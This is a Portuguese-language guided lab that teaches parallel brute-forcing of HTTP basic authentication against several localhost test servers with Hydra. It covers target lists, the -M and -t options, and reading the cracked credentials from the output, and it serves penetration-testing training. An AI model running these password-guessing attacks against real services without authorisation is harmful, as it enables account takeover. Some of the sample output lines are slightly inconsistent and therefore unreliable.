Ataque a Múltiplos Alvos com Hydra

Introdução

Neste laboratório, você aprenderá a atacar múltiplos alvos simultaneamente usando o Hydra. O laboratório concentra-se em utilizar as capacidades do Hydra para realizar tentativas de quebra de senha contra uma lista de hosts-alvo.

O laboratório guiará você na criação de um arquivo de lista de alvos contendo endereços IP ou nomes de host, carregando este arquivo no Hydra usando a opção -M, executando um ataque HTTP paralelo contra os alvos e, finalmente, verificando a saída para identificar logins bem-sucedidos em vários hosts. Esta experiência prática fornecerá habilidades práticas no uso do Hydra para cenários de testes de penetração e auditoria de segurança.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 86%. Recebeu uma taxa de avaliações positivas de 100% dos estudantes.

Criar um Arquivo de Lista de Alvos

Neste passo, você criará um arquivo de lista de alvos. Este arquivo conterá uma lista de URLs de destino que o Hydra tentará conectar e quebrar senhas. Este é um passo crucial em qualquer cenário de teste de penetração ou auditoria de segurança.

Um arquivo de lista de alvos para ataques HTTP contém URLs em vez de apenas endereços IP. Cada linha representa um serviço web de destino com autenticação básica HTTP. Em nosso ambiente de laboratório, configuramos vários servidores web Apache rodando em diferentes portas com autenticação básica.

Todas as operações neste laboratório serão executadas no diretório ~/project.

Primeiro, vamos verificar se nossos servidores web de teste estão em execução:

curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1

HTTP/1.1 401 Unauthorized
HTTP/1.1 401 Unauthorized
HTTP/1.1 401 Unauthorized

Você deve ver cabeçalhos de resposta HTTP indicando que os servidores estão em execução.

Crie o arquivo de alvos com nossos servidores web de teste:
```
cd ~/project
echo "127.0.0.1:8081" > targets.txt
echo "127.0.0.1:8082" >> targets.txt
echo "127.0.0.1:8083" >> targets.txt
```
Isso cria uma lista de alvos com três serviços HTTP rodando no localhost em diferentes portas:
- Porta 8081: Protegido com usuário admin e senha password123
- Porta 8082: Protegido com usuário user e senha secret
- Porta 8083: Protegido com usuário testuser e senha password
Verifique se o arquivo foi criado e contém os alvos:
```
cat ~/project/targets.txt
```
Você deve ver uma saída semelhante a:
```
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
```
Teste um dos recursos protegidos para confirmar que a autenticação é necessária:
```
curl http://127.0.0.1:8081/
```
Você deve ver uma resposta HTTP 401 Unauthorized, confirmando que a autenticação básica é necessária.

Você agora criou com sucesso um arquivo de lista de alvos chamado targets.txt em seu diretório ~/project com serviços HTTP que exigem autenticação. Este arquivo será usado no próximo passo para carregar os alvos no Hydra.

Carregar Alvos com a Opção -M

Neste passo, você aprenderá como carregar o arquivo de lista de alvos criado no passo anterior no Hydra usando a opção -M. A opção -M instrui o Hydra a ler a lista de hosts-alvo de um arquivo. Isso é particularmente útil quando você tem um grande número de alvos para testar.

Para ataques HTTP, a sintaxe básica é:

hydra -M <target_file> http-get <path>

Onde:

<target_file> é o caminho para o arquivo contendo a lista de hosts-alvo.
http-get especifica que estamos atacando a autenticação básica HTTP usando solicitações GET.
<path> é o caminho no servidor web a ser atacado (por exemplo, / para a raiz).

Vamos construir um comando Hydra para carregar os alvos do arquivo targets.txt e atacar a autenticação básica HTTP.

Crie listas de nomes de usuário e senhas para nosso ataque:
```
cd ~/project
echo "admin" > users.txt
echo "user" >> users.txt
echo "testuser" >> users.txt
echo "root" >> users.txt
```
Isso cria uma lista de nomes de usuário com os nomes de usuário reais que configuramos, além do nome de usuário comum root.

Crie uma lista de senhas:

echo "password123" > passwords.txt
echo "secret" >> passwords.txt
echo "password" >> passwords.txt
echo "admin" >> passwords.txt
echo "123456" >> passwords.txt

Isso cria uma lista de senhas contendo as senhas reais que configuramos, além de algumas senhas fracas comuns.

Agora, execute o comando Hydra para carregar os alvos do arquivo targets.txt e tentar quebrar a autenticação básica HTTP:

hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /

Resultados Esperados: Você deve ver o Hydra tentando se conectar a todos os três serviços HTTP e quebrando com sucesso as senhas de cada um:

Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1   login: admin   password: password123
[8082][http-get] host: 127.0.0.1   login: user   password: secret
[8083][http-get] host: 127.0.0.1   login: testuser   password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.

Isso mostra que o Hydra encontrou com sucesso credenciais válidas para os três serviços HTTP.

Você também pode testar com um caminho mais específico, se necessário:

hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html

Neste passo, você aprendeu como carregar alvos de um arquivo usando a opção -M no Hydra para ataques HTTP. Esta é uma habilidade fundamental para realizar ataques de quebra de senha em larga escala contra serviços web com autenticação básica.

Executar Ataque HTTP Paralelo

Neste passo, você aprenderá como executar um ataque HTTP paralelo usando o Hydra. Executar ataques em paralelo acelera significativamente o processo de quebra de senha, especialmente quando lidando com vários alvos. O Hydra permite especificar o número de tarefas paralelas a serem executadas usando a opção -t.

A opção -t controla o número de conexões paralelas que o Hydra fará. Para ataques HTTP, isso é particularmente eficaz, pois os servidores web geralmente podem lidar com várias conexões simultâneas melhor do que os serviços SSH.

Vamos modificar o comando Hydra anterior para executar o ataque HTTP com um número específico de threads.

Execute o seguinte comando Hydra para executar o ataque HTTP com 8 threads:

cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /

Neste comando, a opção -t 8 instrui o Hydra a usar 8 threads paralelos. Isso significa que o Hydra tentará se conectar a vários alvos simultaneamente e tentará diferentes combinações de nome de usuário/senha em paralelo.

Saída esperada:

Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1   login: admin   password: password123
[8082][http-get] host: 127.0.0.1   login: user   password: secret
[8083][http-get] host: 127.0.0.1   login: testuser   password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.

Experimente diferentes valores para a opção -t. Tente aumentar o número de threads para ver como isso afeta a velocidade:
```
hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /
```
Você pode notar que com mais threads, o ataque é concluído mais rapidamente, mas o tempo exato depende das capacidades do seu sistema.
Você também pode adicionar saída detalhada para ver mais detalhes sobre o processo de ataque:
```
hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /
```
O sinal -v fornece uma saída detalhada mostrando cada tentativa de login, o que é útil para entender exatamente o que o Hydra está testando.
Para uma saída ainda mais detalhada, você pode usar a opção -V (muito detalhado):
```
hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /
```

Considerações importantes para ataques HTTP:

Limites do servidor web: A maioria dos servidores web pode lidar com muitas conexões simultâneas, tornando os ataques HTTP geralmente mais rápidos do que outros protocolos.
Limitação de taxa: Alguns aplicativos web implementam limitação de taxa que podem bloquear tentativas rápidas de autenticação.
Registro: As tentativas de autenticação HTTP geralmente são registradas pelos servidores web, tornando a detecção mais fácil.
SSL/HTTPS: Para alvos HTTPS, você usaria http-get com alvos habilitados para SSL ou https-get para HTTPS explícito.

Neste passo, você aprendeu como executar ataques HTTP paralelos usando o Hydra com a opção -t. Essa técnica é particularmente eficaz para aplicativos web com autenticação básica.

Verificar Saída para Múltiplos Hosts

Neste passo, você aprenderá a interpretar a saída do Hydra ao atacar vários alvos HTTP. A saída do Hydra fornece informações valiosas sobre o sucesso ou falha das tentativas de ataque em diferentes serviços web.

Quando o Hydra quebra com sucesso uma senha de autenticação básica HTTP, ele exibe as credenciais no seguinte formato:

[<porta>][http-get] host: <host>   login: <nome_de_usuário>   password: <senha>

Por exemplo:

[8081][http-get] host: 127.0.0.1   login: admin   password: password123

Isso indica que o Hydra quebrou com sucesso a autenticação básica HTTP para o usuário admin no host 127.0.0.1 na porta 8081, com a senha password123.

Vamos analisar a saída de ataques HTTP e entender o que diferentes resultados significam.

Execute novamente o comando completo do ataque Hydra para ver a saída completa:
```
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
```

Examine a saída detalhada. Você deve ver resultados para todos os três alvos:

Saída completa esperada:

Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
[DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
[DATA] attacking http-get://127.0.0.1:8081:80/
[DATA] attacking http-get://127.0.0.1:8082:80/
[DATA] attacking http-get://127.0.0.1:8083:80/
[8081][http-get] host: 127.0.0.1   login: admin   password: password123
[8082][http-get] host: 127.0.0.1   login: user   password: secret
[8083][http-get] host: 127.0.0.1   login: testuser   password: password
1 of 3 targets completed, 3 valid passwords found
Hydra finished.

Para ver como as tentativas malsucedidas se parecem, vamos criar um cenário com algumas credenciais inválidas. Crie um novo arquivo de senha com senhas principalmente incorretas:
```
echo "wrongpass" > wrong_passwords.txt
echo "badpass" >> wrong_passwords.txt
echo "password123" >> wrong_passwords.txt ## Apenas uma senha correta
```
Execute o Hydra com saída detalhada para ver tentativas bem-sucedidas e malsucedidas:
```
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /
```
Você verá a saída detalhada mostrando a tentativa bem-sucedida:
```
(Saída do Hydra com tentativas bem-sucedidas e malsucedidas)
```

Salve os resultados em um arquivo para análise posterior:

hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt

Verifique o arquivo de resultados:

cat hydra_results.txt

Como interpretar os resultados de ataques HTTP:

Ataques bem-sucedidos: Linhas começando com [porta][http-get] mostram descobertas bem-sucedidas de credenciais.
Informação do alvo: Cada resultado bem-sucedido mostra o host, porta, nome de usuário e senha exatos.
Estatísticas resumidas: A linha final mostra quantos alvos foram atacados e quantas senhas válidas foram encontradas.
Tentativas malsucedidas: Com o modo detalhado, você pode ver cada tentativa de login malsucedida.
Arquivos de saída: Usar -o salva apenas os resultados bem-sucedidos em um arquivo para análise fácil.

Diferenças-chave de outros protocolos:

Os ataques HTTP mostram o número da porta claramente nos resultados.
Os tempos de resposta geralmente são mais rápidos do que os ataques SSH.
Múltiplos reinos de autenticação no mesmo servidor apareceriam como alvos diferentes.
Códigos de status HTTP (como 401, 403) fornecem contexto adicional sobre falhas.

Neste passo, você aprendeu a interpretar a saída do Hydra ao atacar vários alvos HTTP, entender a diferença entre tentativas bem-sucedidas e malsucedidas e salvar resultados para análise. Este conhecimento é crucial para testes eficazes de segurança de aplicativos web.

Resumo

Neste laboratório, você aprendeu a realizar ataques multi-alvo usando o Hydra contra serviços HTTP com autenticação básica. Você criou um arquivo de lista de alvos contendo vários servidores web rodando em diferentes portas, cada um protegido com autenticação básica usando diferentes combinações de nome de usuário e senha.

Você descobriu como usar a opção -M para carregar múltiplos alvos de um arquivo, tornando eficiente o ataque a numerosos serviços web simultaneamente. O laboratório demonstrou como usar a opção -t para controlar threads paralelos para ataques HTTP mais rápidos, e você aprendeu a interpretar a saída do Hydra para identificar tentativas de autenticação bem-sucedidas em múltiplos alvos.

Esta abordagem é particularmente valiosa para testes de segurança de aplicativos web, onde você pode precisar testar a autenticação básica em vários serviços, hosts virtuais ou diferentes caminhos em servidores web. As técnicas aprendidas fornecem uma base para realizar avaliações de segurança abrangentes de aplicativos web em ambientes containerizados.

Atacar Múltiplos Alvos com Hydra